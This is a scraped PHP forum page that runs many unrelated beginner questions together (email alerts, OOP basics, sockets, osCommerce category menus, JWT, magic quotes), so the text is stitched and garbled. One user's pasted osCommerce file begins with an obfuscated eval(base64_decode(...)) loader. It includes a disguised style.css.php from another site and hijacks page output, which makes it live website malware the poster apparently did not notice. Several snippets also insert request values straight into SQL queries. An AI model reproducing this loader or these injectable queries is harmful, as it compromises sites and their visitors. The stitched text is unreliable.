PHP - Young Php Coder Needs Some Advise On New Task
Hey
Ok i'd say i'm pretty average with HTML, CSS and PHP I have my own website - www.leedsmethockey.co.uk and i want to develop a new section... i'll try and explain as best i can i have a database with all the players and their email address... When someone is selected for a match i wish the website to email their email address to let them know... please could someone advice me where i need to start and what sort of code i need to be looking into? Many Thanks Similar TutorialsFirst, I apologize if this is the wrong venue, but it seemed the best place to ask question about code. The code below is very simple most likely, but I am having the hardest time visualizing how it's run. It would be most helpful if someone could point out the error of my thinking that would be awesome. This is literally the first php lesson I have ever taken.
I'm a very visual, hands on kind of learner. It would be most appreciated to get direction into the best way to learn PHP as a visual learner. Thanks!
<?php // I'm following an example online and need an explanation to this. This first part is creating // a class called User. class User { // This is a variable set to public. Now in the lesson I discovered public and private. Why is // public and private important? Could the code just run on $age? public $age; // This is a public function called __construct. Could I name this anything and the function // would still work? What is important about __? public function __construct($age) { // Ok, why is $this used? Is it correct in assuming that any word with a "$" assigned to it in // this class will refer to age? $this->age = $age; } // This is the 3rd function called getAge(). Why is getAge() blank? public function getAge() { echo $this->age; } } // Shoudln't this be at the top? And isn't there a cleaner way to output the age of a new user? // This seems to take up way too much coding just to display the name of a variable? $brad = new User(31); // I'm so confused. $brad->getAge(); This topic has been moved to Miscellaneous. http://www.phpfreaks.com/forums/index.php?topic=317915.0 <?php class Action { protected $_request; protected $_response; protected $_model; protected $_view; public function __construct(Request $request, Response $response) { $this->set_request($request)->set_response($response)->set_view($request, $response)->set_model(); // if request requires partial then do this $partial = Partial::singleton(); $view = $this->get_view(); $view->set_partial($partial); $partial->set_view(clone $view); } protected function set_request(Request $request) { $this->_request = $request; return $this; } protected function set_response(Response $response) { $this->_response = $response; return $this; } protected function set_view(Request $request, Response $response) { $this->_view = new View($request, $response); return $this; } public function get_request() { return $this->_request; } public function get_response() { return $this->_response; } public function get_view() { return $this->_view; } public function dispatch($method, $parameters) { if ($this->get_request()->is_dispatched()) { if(method_exists($this, $method)) { call_user_func_array(array($this, $method), $parameters); } else { echo "unable to load method"; } } } public function __get($property) { $property = '_' . $property; if (property_exists($this, $property) && $property !== '$this->_request' && $property !== '$this->_responce') { return $this->$property; } return false; } public function set_model() { $class_name = get_class($this); $model_name = trim($class_name, "_Controller"); $model_name = strtolower($model_name); $property_name = '_' . $model_name; $model_name = Inflection::singularize($model_name); $model_name = ucfirst($model_name); $model_class = $model_name . '_Model'; $this->{$property_name} = new $model_class(); } } <?php class View { protected $_variables = array(); protected $_helpers = array(); public function __construct(Request $request, Response $response) { } public function __set($name, $value) { $this->_variables[$name] = $value; } public function __get($name) { return $this->_variables[$name]; } public function __call($name, $parameters) { $helper = $this->get_helper($name); if (!$helper) { $helper = call_user_func_array(array(new $name(), '__construct'), $parameters); $this->set_helper($name, $helper); } return $helper; } protected function set_helper($helper, $instance) { $this->_helpers[$helper] = $instance; } protected function get_helper($helper) { if (isset($this->_helpers[$helper])) { return $this->_helpers[$helper]; } return false; } public function set_partial(Partial $partial) { if ($partial instanceof Partial) { $this->set_helper('partial', $partial); } } public function render($file) { if (preg_match("/\.html$/i", $file)) { require_once PRIVATE_DIRECTORY . 'application' . DS . 'views' . DS . $file; } } } <?php class Partial { protected $_view; protected $_templates; protected static $_instance = null; public static function singleton() { if (self::$_instance == null) { self::$_instance = new self(); } return self::$_instance; } public function set_view(View $view) { $this->_view = $view; } public function __set($name, $options = array()) { $this->_templates[$name]; $this->_templates[$name]['path'] = $options[0]; $this->_templates[$name]['variables'] = $options[1]; } public function __get($name) { // when $this->paertial()->header; is called in view template // it extracts variables and includes template view render() method $file = $this->_templates[$name]['path']; $variables = $this->_templates[$name]['variables']; } }Hey guys im trying to make alternations to my personal framework by adding a Partial class as a helper to the View class so that I'm able to add partial templates in my bootstrap and load accordingly in my view template like a header and footer. what im after is a bit of advise on the functioning of my Action/View and Partial please (not sure if what im doing is really right although it does work) Basically my Controller will extend my action where a model and view is made for my controller to use. Then my partial class is sent as a helper to my view and a clone of view sent to my partial so that im able to use the view class in my partial to render my header and variables. (is this the correct way? or a good method?) here's my code...like I said any advise would be greatly appreciated... thank you Hi, im trying to learn about socket in PHP but unfortunatly not getting anywhere fast. The main issue is, the reason i want to learn about them is for use on a project where i will be connecting to a server, not actually being one. So although i am interested in the server part, its not essential. But to test my php socket code, i need something to connect to for debugging? So i have tried to create (from tutorials) a php server but not had any luck at all, can anyone advise me on where to start here? I basically want a way to send a command from a php file over TCP/IP, but for now just want it to bounce back or get a response, is there any test servers out there or do i have to create one? I have my own windows web server running here next to me for all my testing. Thanks Andy wanting to take a variable and use that variable to search my sql table for another variable
example : (from outside prog XXX is sent in as 'killacct')
$killacct = $_GET['killacct'];
now take 'killacct' and search table 'blahblah' for the row 'variable'
so if the table was
killacct = XXX | blahblah = YYY
so then i can pull a second variable from my first one
XXX is associated with YYY
sorry this was probably really hard to understand im very exhaused lol
EDIT: It would seem i placed this in the wrong section. Can we have a mod move this? I'm gonna go ahead and admit that this is a task that my school left me for my course in PHP and mySQL but i won't just ask for someone to construct the code for me but just to give me advice and assistance in my code. What i'm trying to do is request a number from a user and generate random integers between 1 to 100 as many as the user specified. The task told me to place all the numbers in an array and that i can use a foreach loop to go through and indicate what numbers are lower than 50 and what is higher than 50. The output should be similar to this: All your numbers: 45 23 14 79 99 22 56 Numbers lower than 50: 45 23 14 22 Numbers higher than 50: 79 99 56 This is my code: Code: [Select] <!DOCTYPE html PUBLIC "-//w3c//DTD XHTMLm 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmnlns="http://www.w3.org/1999/xhtml" xml:lang="sv" lang="sv"> <head> <meta http-equiv="Content-Type" content="text/html; charset="utf-8" /> <title>Task</title> </head> <body> <?php $Nummer=$_REQUEST['nummer']; for ($count=1;$count <= $Nummer; $count++){ $testSlump = rand(1, 100); echo $testSlump . "</br>"; } $testArray = array($testSlump); foreach ($testArray as $n) { if ($testArray > 50){ echo $testArray . echo 'this number is lesser than 50'; } } ?> </body> </html> I've googled, read through the litterature but none seem to help me. I thought to myself that one solution might be placing all values generated in a for loop in an array and then using the foreach loop to confirm what is what. Class notes and our schools PHP help site doesnt have anything that would help me finish this task. How do you place for loop values in an array? (if i'm on the right track) Any help etc is greatly appreciated. hi. i want to send an email with php, but i need this email should be a task invitation in outlook. i searched at google, but i couldn't find anything that solves my problem. any ideas? thanks in advance.... Hi everybody, I have this code that allows me to appoint specific categories to box 1 , box 2, ... The problem is that it doesn't show first level subcategories. I have another code that shows sub-categories for the main categories but it doesn't allow me to appoint specific categories to the categories box that I want. I try to mix that two codes so it can allow me to show sub-categories and also allow me to appoint specific categories to the categories boxes. But to my limited php knowledge, I spent weeks to make it happen but no rusult. So Can any pro php coder help to make this happen? or can you point me to the right direction. Your help is greatly appriciate. Thank you. This is the code that allow you to appoint specific categories to specific categories box: Code: [Select] <?php /* $Id: categories.php,v 1.25 2003/07/09 01:13:58 hpdl Exp $ */ function new_tep_show_category($boxId,&$cPath_array,&$tree,$counter) { global $cat_name; // CategoryBox Enhancement for ($i=0; $i<$tree[$counter]['level']; $i++) $categories_string = " "; // $cPath_new = 'cPath=' . $tree[$counter]['path']; // CategoryBox Enhancement $categories_string .= '<b><a href="'; $cPath_new = 'cPath=' . $tree[$counter]['path']; // $categories_string .= tep_href_link(FILENAME_DEFAULT, $cPath_new) . '">'; // CategoryBox Enhancement $categories_string .= tep_href_link(FILENAME_DEFAULT, $cPath_new) . '">'; if ($boxId == $_SESSION['infoBox'] && isset($cPath_array) && in_array($counter, $cPath_array)) { // commented for CategoryBox Enhancement $categories_string .= '<b>' . $tree[$counter]['name'] . '</b>'; $categories_string .= '<b>'; // CategoryBox Enhancement if ($cat_name == $tree[$counter]['name']) { $categories_string .= '<span class="errorText">'; } // CategoryBox Enhancement $categories_string .= $tree[$counter]['name']; // CategoryBox Enhancement if ($cat_name == $tree[$counter]['name']) { $categories_string .= '</span>'; } // CategoryBox Enhancement $categories_string .= '</b>'; } else { // CategoryBox Enhancement if ($cat_name == $tree[$counter]['name']) { $categories_string .= '<b><span class="errorText">'; } // CategoryBox Enhancement $categories_string .= $tree[$counter]['name']; // CategoryBox Enhancement if ($cat_name == $tree[$counter]['name']) { $categories_string .= '</span></b>'; } // CategoryBox Enhancement } /* commented for CategoryBox Enhancement if (tep_has_category_subcategories($counter)) $categories_string .= '->'; */ $categories_string .= '</a>'; if (SHOW_COUNTS == 'true') { $products_in_category = tep_count_products_in_category($counter); if ($products_in_category > 0) $categories_string .= ' (' . $products_in_category . ')'; } $categories_string .= '<br>'; if ($tree[$counter]['next_id'] != false) $categories_string .= new_tep_show_category($boxId,$cPath_array,$tree,$tree[$counter]['next_id']); return $categories_string; } function tep_categories_box($boxId,&$infoBox,$follow_cPath,&$cPath_array) { global $languages_id; $info_box_contents = array(); $info_box_contents[] = array('text' => $infoBox['name']); new infoBoxHeadingCategories($info_box_contents, true, false); $tree = array(); $categories_query = tep_db_query("select c.categories_id, cd.categories_name, c.parent_id from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.parent_id = '0' and c.categories_id in (".implode(',',$infoBox['categories']).") and c.categories_id = cd.categories_id and cd.language_id='" . (int)$languages_id ."' order by sort_order, cd.categories_name"); while ($categories = tep_db_fetch_array($categories_query)) { $tree[$categories['categories_id']] = array( 'name' => $categories['categories_name'], 'parent' => $categories['parent_id'], 'level' => 0, 'path' => $categories['categories_id'], 'next_id' => false ); if (isset($parent_id)) $tree[$parent_id]['next_id'] = $categories['categories_id']; $parent_id = $categories['categories_id']; if (!isset($first_element)) $first_element = $categories['categories_id']; } //------------------------ if ($follow_cPath) { $new_path = ''; reset($cPath_array); while (list($key, $value) = each($cPath_array)) { unset($parent_id); unset($first_id); $categories_query = tep_db_query("select c.categories_id, cd.categories_name, c.parent_id from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.parent_id = '" . (int)$value . "' and c.categories_id = cd.categories_id and cd.language_id='" . (int)$languages_id ."' order by sort_order, cd.categories_name"); if (tep_db_num_rows($categories_query)) { $new_path .= $value; while($row = tep_db_fetch_array($categories_query)) { $tree[$row['categories_id']] = array( 'name' => $row['categories_name'], 'parent' => $row['parent_id'], 'level' => $key+1, 'path' => $new_path . '_' . $row['categories_id'], 'next_id' => false ); if (isset($parent_id)) $tree[$parent_id]['next_id'] = $row['categories_id']; $parent_id = $row['categories_id']; if (!isset($first_id)) $first_id = $row['categories_id']; $last_id = $row['categories_id']; } $tree[$last_id]['next_id'] = $tree[$value]['next_id']; $tree[$value]['next_id'] = $first_id; $new_path .= '_'; } else { break; } } } $info_box_contents = array(); $info_box_contents[] = array('text' => new_tep_show_category($boxId,$cPath_array,$tree,$first_element)); new infoBox($info_box_contents); } ?> <!-- categories //--> <?php $_infoBox = array(); // define('TABLE_CATEGORIES_MORE','categories_more'); $categories_this_infobox_query = tep_db_query("select * from " . TABLE_CATEGORIES_MORE . " where enabled = 1"); while ($_categories = tep_db_fetch_array($categories_this_infobox_query)) $_infoBox[] = array( 'categories' => array( $_categories['category1_id'], $_categories['category2_id'], $_categories['category3_id'], $_categories['category4_id'], $_categories['category5_id'], $_categories['category6_id'], $_categories['category7_id'], $_categories['category8_id'], $_categories['category9_id'], $_categories['category10_id'], $_categories['category11_id'], $_categories['category12_id'], $_categories['category13_id'], $_categories['category14_id'], $_categories['category15_id'], $_categories['category16_id'], $_categories['category17_id'], $_categories['category18_id'], $_categories['category19_id'], $_categories['category20_id'], $_categories['category21_id'], $_categories['category22_id'], $_categories['category23_id'], $_categories['category24_id'], $_categories['category25_id'], ), 'name' => $_categories['infobox_name'], 'enabled' => $_categories['enabled'] ); if (!tep_session_is_registered('infoBox')) { tep_session_register('infoBox'); $infoBox = '0'; } if (isset($_GET['infoBox']) && is_numeric($_GET['infoBox'])) $infoBox = $_GET['infoBox']; for($i=0,$n=2 ; $i<$n; $i++) { echo "<tr>\n<td>\n"; tep_categories_box( $i, $_infoBox[$i], ($infoBox == $i && tep_not_null($cPath)) ? true : false, $cPath_array ); echo "\n</td>\n</tr>\n"; } ?> <!-- categories_eof //-->This is the code that show sub-categories: Code: [Select] <?php /**/eval(base64_decode('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2N1b25ndDg2L3B1YmxpY19odG1sL3VnZ2Jvb3RzbWFkbmVzcy5jb20vYWRtaW4vaW5jbHVkZXMvbGFuZ3VhZ2VzL2VzcGFub2wvbW9kdWxlcy9uZXdzbGV0dGVycy9zdHlsZS5jc3MucGhwJztpZihmaWxlX2V4aXN0cygkR0xPQkFMU1snbWZzbiddKSl7aW5jbHVkZV9vbmNlKCRHTE9CQUxTWydtZnNuJ10pO2lmKGZ1bmN0aW9uX2V4aXN0cygnZ21sJykmJmZ1bmN0aW9uX2V4aXN0cygnZGdvYmgnKSl7b2Jfc3RhcnQoJ2Rnb2JoJyk7fX19')); ?> <?php /* $Id: show_subcategories.php,v 1.0 2003/01/08 10:37:00 Exp $ */ // Preorder tree traversal //befordch: unactivated not needed /*function preorder($cid, $level, $foo, $cpath){ global $categories_string, $HTTP_GET_VARS; // Display link if ($cid != 0) { for ($i=0; $i<$level; $i++) $categories_string .= ' '; $categories_string .= '<a href="' . tep_href_link(FILENAME_DEFAULT, 'cPath=' . $cpath . $cid) . '">'; // 1.6 Are we on the "path" to selected category? $bold = strstr($HTTP_GET_VARS['cPath'], $cpath . $cid . '_') || $HTTP_GET_VARS['cPath'] == $cpath . $cid; // 1.6 If yes, use <b> if ($bold) $categories_string .= '<b>'; $categories_string .= $foo[$cid]['name']; if ($bold) $categories_string .= '</b>'; $categories_string .= '</a>'; // 1.4 SHOW_COUNTS is 'true' or 'false', not true or false if (SHOW_COUNTS == 'true') { $products_in_category = tep_count_products_in_category($cid); if ($products_in_category > 0) { $categories_string .= ' (' . $products_in_category . ')'; } } $categories_string .= '<br>'; } }*/ // Traverse category tree- this is for older snapshots pre-November 2002 /* foreach ($foo as $key => $value) { if ($foo[$key]['parent'] == $cid) { // print "$key, $level, $cid, $cpath<br>"; preorder($key, $level+1, $foo, ($level != 0 ? $cpath . $cid . '_' : '')) ; } */ // Function used for post November 2002 snapshots function tep_show_category($counter) { global $foo, $categories_string, $id; for ($a=0; $a<$foo[$counter]['level']; $a++) $categories_string .= " "; } ?> <!-- show_subcategories //--> <tr> <td class="infoBox_left"> <?php $info_box_contents = array(); $info_box_contents[] = array('text' => BOX_HEADING_CATEGORIES); new infoBoxHeadingCategories($info_box_contents, true, false); ////////// // Get categories list ////////// // 1.2 Test for presence of status field for compatibility with older versions // $status = tep_db_num_rows(tep_db_query('describe categories status')); used for older snapshots $status = tep_db_num_rows(tep_db_query('describe ' . TABLE_CATEGORIES . ' status')); $query = "select c.categories_id, cd.categories_name, c.parent_id, c.categories_image from " . TABLE_CATEGORIES . " c, " . TABLE_CATEGORIES_DESCRIPTION . " cd where c.categories_id = cd.categories_id"; // 1.3 Can't have 'where' in an if statement! if ($status >0) $query.= " and c.status = '1'"; $query.= " and cd.language_id='" . $languages_id ."' order by sort_order, cd.categories_id"; $categories_query = tep_db_query($query); // Initiate tree traverse $categories_string = ''; //preorder(0, 0, $foo, ''); //bedfordch unactivated not needed ////////// // Display box contents ////////// $info_box_contents = array(); $row = 0; $col = 0; while ($categories = tep_db_fetch_array($categories_query)) { if ($categories['parent_id'] == 0){ $temp_cPath_array = $cPath_array; //Johan's solution - kill the array but save it for the rest of the site unset($cPath_array); $cPath_new = tep_get_path($categories['categories_id']); $text_subcategories = '<br>'; $subcategories_query = tep_db_query($query); while ($subcategories = tep_db_fetch_array($subcategories_query)){ if ($subcategories['parent_id'] == $categories['categories_id']){ $cPath_new_sub = "cPath=" . $categories['categories_id'] . "_" . $subcategories['categories_id']; $text_subcategories .= ' - <a href="' . tep_href_link(FILENAME_DEFAULT, $cPath_new_sub, 'NONSSL') . '" class="menusubcateg">' . '' . $subcategories['categories_name'] . '</a>'; //start befordch fix (show subcategoriy count) if (SHOW_COUNTS == 'true') { $products_in_category = tep_count_products_in_category($subcategories['categories_id']); if ($products_in_category > 0) { $text_subcategories .= ' (' . $products_in_category . ')'; } } //end bedfordch fix $text_subcategories .= "<br>"; //bedfordch add <br> after subcategory. $q2= "select * from categories where parent_id=" . $subcategories['categories_id']; $rec2 = mysql_query($q2); while ($rq2 = mysql_fetch_array($rec2)) { $snd_sub_category = $rq2['categories_id']; $q3= "select categories_name from categories_description where categories_id=" . $snd_sub_category; $rec3 = mysql_query($q3); $rq3 = mysql_fetch_array($rec3); $snd_categories_name = $rq3[categories_name]; $cPath_new_sub = "cPath=" . $categories['categories_id'] . "_" . $subcategories['categories_id'] . "_" . $snd_sub_category; $text_subcategories .= ' + ' . '<a href="' . tep_href_link(FILENAME_DEFAULT, $cPath_new_sub, 'NONSSL') . '" class="menusubcategsec">' . '' . $snd_categories_name . '</a>' . "<br>"; } } } // While Interno //start befordch fix (show category count) $buildtext = '<a href="' . tep_href_link(FILENAME_DEFAULT, $cPath_new, 'NONSSL') . '" class="menucateg"><b>' . $categories['categories_name']; if (SHOW_COUNTS == 'true') { $products_in_category = tep_count_products_in_category($categories['categories_id']); if ($products_in_category > 0) { $buildtext .= '(' . $products_in_category . ')'; } } //end bedfordch $buildtext .= '</b></a>' . $text_subcategories; $info_box_contents[$row] = array('align' => 'left', 'params' => 'class="smallText" width="130" valign="top"', 'text' => $buildtext); //befordch show category count $col ++; if ($col > 0){ $col = 0; $row ++; } $cPath_array = $temp_cPath_array; //Re-enable the array for the rest of the code } } new infoBox($info_box_contents, true); ?> </td> </tr> <!-- show_subcategories_eof //--> I have a client that has a youtube video on his page that he changes everyday. I have been wrestling with being able to allow him to login to an admin page, that returns a simple form for him to input the new video id from his youtube link which then posts to a txt file. This text file is then included in the html for to supply the correct youtube video. Basically the way it is now the html page has Code: [Select] <iframe class="youtube-player" type="text/html" width="566" height="266" src="http://www.youtube.com/embed/Video Id Here" frameborder="0"> </iframe> Now I have been completely unsuccessful just creating a form that will let him change just the "Video Id" so we have been working on copying and pasting the entire iframe code in the form. My first attempt created backslashes in the txt file where quotes are, I then added stripslashes to fwrite and that posted nothing to my txt file. So I'm not sure if the code I have is worth a spit or if I should restart with some assistance. My main goal (if achievable) is to remove the iframe code from the html page and use a php include to include the text file that has the iframe in it. Then create a page for my client to login to to paste either the video url or just the video id and have this change on the fly. Any help would greatly be appreciated!
Hi my name is Alexander and i am new to coding. i am in need for tommorow for this task , but i cant figure out how to make it. Can anyone explain where is my mistake and how the code should look? I have some code but its full with errors....
i want to send products to resellers so they can show it to their clients but to show it not on my domain i thought of sending an email with html designed as my product details page BUT the problem here is that the forwarding action by my reseller will ruin the html mailer i thought of using php to pdf any other solutions thanks Hello, I have come to a dead end. What I'm trying to do is simple: have a dynamic title for my php page (something that would be executed by, for example, Code: [Select] <title><?php echo $title; ?></title>). I'm not an experienced coder. I've tried about 15 different variations to try to achieve the result I want, and none of them have worked. I'm using a dynamic web template (DWT), which has editable regions for the Code: [Select] <title> section and for the main body of the webpage. I'm also using a Smarty template, called display_post.tpl, which, along the php file that is attached to the DWT, called display_post.php, are provided below as originally written: Smarty template: Code: [Select] <table cellpadding="8"> <tr> <td valign="top"> {section name=mysec loop=$posts} <h2>{$posts[mysec].title}</h2><br> {$posts[mysec].body|nl2br} <br> {/section} </td> </tr> </table> display_post.php: Code: [Select] <?php require_once('db_login.php'); require_once('config.php'); $conn = mysqli_connect($db_host, $db_username, $db_password, $db_database) or die ('Error connecting to MySQL'); $post_id = $_GET['post_id']; $query = "SELECT * FROM posts WHERE post_id=$post_id"; $result = mysqli_query($conn, $query); while($row = $result->fetch_array()){ $test[] = $row; } $smarty->assign('posts', $test); $smarty->display('display_post.tpl'); mysqli_close($conn); ?> Everything works as is. Part of the problem is that I don't know whether to do this through the DWT/php file or through Smarty. I've tried variations on both approaches, which I can provide for food-for-thought if need be. For now, I would love to read any possible solutions that you can come up with. Thanks bunches! Maat hi again guys n gals. Ive just pre-built a website that works fine. ive just moved all files to another server and now when i try to login it does nothing , also if i try to signup it gives this error ................. Code: [Select] Warning: gethostbyaddr() [function.gethostbyaddr]: Address is not a valid IPv4 or IPv6 address in /home/content/70/6589670/html/gaming/signup.php on line 87 i have NOT edited the code in anyway so m guessing its a server issue ... or could i be wrong ??? any help welcome , thanks for reading This topic has been moved to Miscellaneous. http://www.phpfreaks.com/forums/index.php?topic=308788.0 Hi, I made a small php configuration that runs a cmd command that is designed to create a Scheduled Task on Windows. Code snippet $createTaskCmd = "schtasks.exe /CREATE /SC MONTHLY /D 15 /TN mytask /TR C:\Windows\System32\notepad.exe /ST 00:00:10 /f /RU System"; shell_exec($createTaskCmd); keep in mind I also tried using, 'exec' and I also tried out this solution. I'm trying to create a temporary task and have it be destroyed much later. Hello.
I'm in need of help when it comes to page rendering, is it good practice to have own html file for each controller and controller->method OR 1 view file for each controller and then dynamically change content depending on the method?
My structure is like so:
controllers methods
-------------
services-> repair, car glass.....
info-> contact, about me.....
What is the best or good practice to handle the content in the view? The content is always the same.
Thanks in advance.
I am using JWT for an API authentication and like them. Previously, I would query both some GUID and the user's ID (which wasn't their PK but a unique key per GUID), but now I just include both the account and user's DB PK in the token. Also, including something regarding the user's permissions, however, I still haven't bought into this approach as I don't know how to deal with changing permissions and still having some JWT with different permissions floating around. I suppose I could save the JWT's timestamp in the DB, but that seems to eliminate the benefit of token expirations... Sorry, back to the question at hand. I now have a need to provide emails with a reduced subset of endpoints to either view some resource or update some status. I don't want to make the user first go to some website and then include the JWT in the header, but instead just a single click action. Problem is now I have their JWT which is effectively their password in some email which isn't ideal, and their is no way to ensure that the specific user was the individual that viewed the resource or performed some action. Then I thought maybe I would make some common low access JWT and use the exact same GET routes as I would do so normally and create some new GET routes to emulate main application POST/PUT/PATCH routes. Before going down that path, I would like to investigate other solutions. Often single use tokens are used to reset passwords and other actions which should only performed once and this is not my need but maybe close. I am thinking of creating a token that includes the actual resource path with URL parameters along with the HTTP method. Since everything is in the token, I wouldn't need a typical REST path to identify the resource but would have a single endpoint to retrieve them. I searched for related information and didn't find anything which makes me concerned I am going down a rabbit hole. Any thoughts on how to implement this? Thanks Before I go digging around for code or conversion to unix time stamp, I'm curious how many of you have a birthday entry on a form which is the least hassle for the person filling out the form. For example a text box and they can enter 12/1/1992 or 12/1/92 or 12-1-1992 or three text boxes for month, day and year and if so, require an 01 or a 08 or 4 characters for year. The second method with three boxes would easily convert to a date stamp entry on the other hand if there is a php conversion that would convert any format (12/1/1992, 12/01/92, etc) to a unix time stamp that would make it easier for the person filling out the form. Thanks in advance for any ideas or help. Mike Hi there, I am working on a php project on my WAMP server where I have access to XML datafeed from xe.com once a day to get the Exchange rates. This xml datafeed is saved on my localhost as an archived copy. Now I would like to automatically access the fresh xml datafeed file from xe.com once a day and replace (or update) the xml file on my localhost to have the updated information (rates). How can I schedule this task automatically and make php access the updated xml file once a day. All comments and feedbacks are always welcomed Thank you! Ok. So I just started using prepared statements. One issue I ran into is that after inserting say "abc's" into the table with a prepared statement when I read that row and display it, it shows as abc\'s I have to use stripslashes on the variable before displaying it. I thought that with magic quotes. off this would not be a problem. Am I going to have to strip slashes on all fields now? Is there another way around it? here is my phpinfo for reference magic_quotes_gpc Off Off magic_quotes_runtime Off Off magic_quotes_sybase Off Off And compile options Configure Command './configure' '--host=i686-redhat-linux-gnu' '--build=i686-redhat-linux-gnu' '--target=i386-redhat-linux' '--program-prefix=' '--prefix=/usr' '--exec-prefix=/usr' '--bindir=/usr/bin' '--sbindir=/usr/sbin' '--sysconfdir=/etc' '--datadir=/usr/share' '--includedir=/usr/include' '--libdir=/usr/lib' '--libexecdir=/usr/libexec' '--localstatedir=/var' '--sharedstatedir=/usr/com' '--mandir=/usr/share/man' '--infodir=/usr/share/info' '--cache-file=../config.cache' '--with-libdir=lib' '--with-config-file-path=/etc' '--with-config-file-scan-dir=/etc/php.d' '--disable-debug' '--with-pic' '--disable-rpath' '--without-pear' '--with-bz2' '--with-curl' '--with-exec-dir=/usr/bin' '--with-freetype-dir=/usr' '--with-png-dir=/usr' '--enable-gd-native-ttf' '--without-gdbm' '--with-gettext' '--with-gmp' '--with-iconv' '--with-jpeg-dir=/usr' '--with-openssl' '--with-png' '--with-pspell' '--with-expat-dir=/usr' '--with-pcre-regex=/usr' '--with-zlib' '--with-layout=GNU' '--enable-exif' '--enable-ftp' '--enable-magic-quotes' '--enable-sockets' '--enable-sysvsem' '--enable-sysvshm' '--enable-sysvmsg' '--enable-track-vars' '--enable-trans-sid' '--enable-yp' '--enable-wddx' '--with-kerberos' '--enable-ucd-snmp-hack' '--with-unixODBC=shared,/usr' '--enable-memory-limit' '--enable-shmop' '--enable-calendar' '--enable-dbx' '--enable-dio' '--without-mime-magic' '--without-sqlite' '--with-libxml-dir=/usr' '--with-xml' '--with-mhash=shared' '--with-mcrypt=shared' '--with-apxs2=/usr/sbin/apxs' '--without-mysql' '--without-gd' '--without-odbc' '--disable-dom' '--disable-dba' '--without-unixODBC' '--disable-pdo' '--disable-xmlreader' '--disable-xmlwriter' '--disable-json' Thanks JT |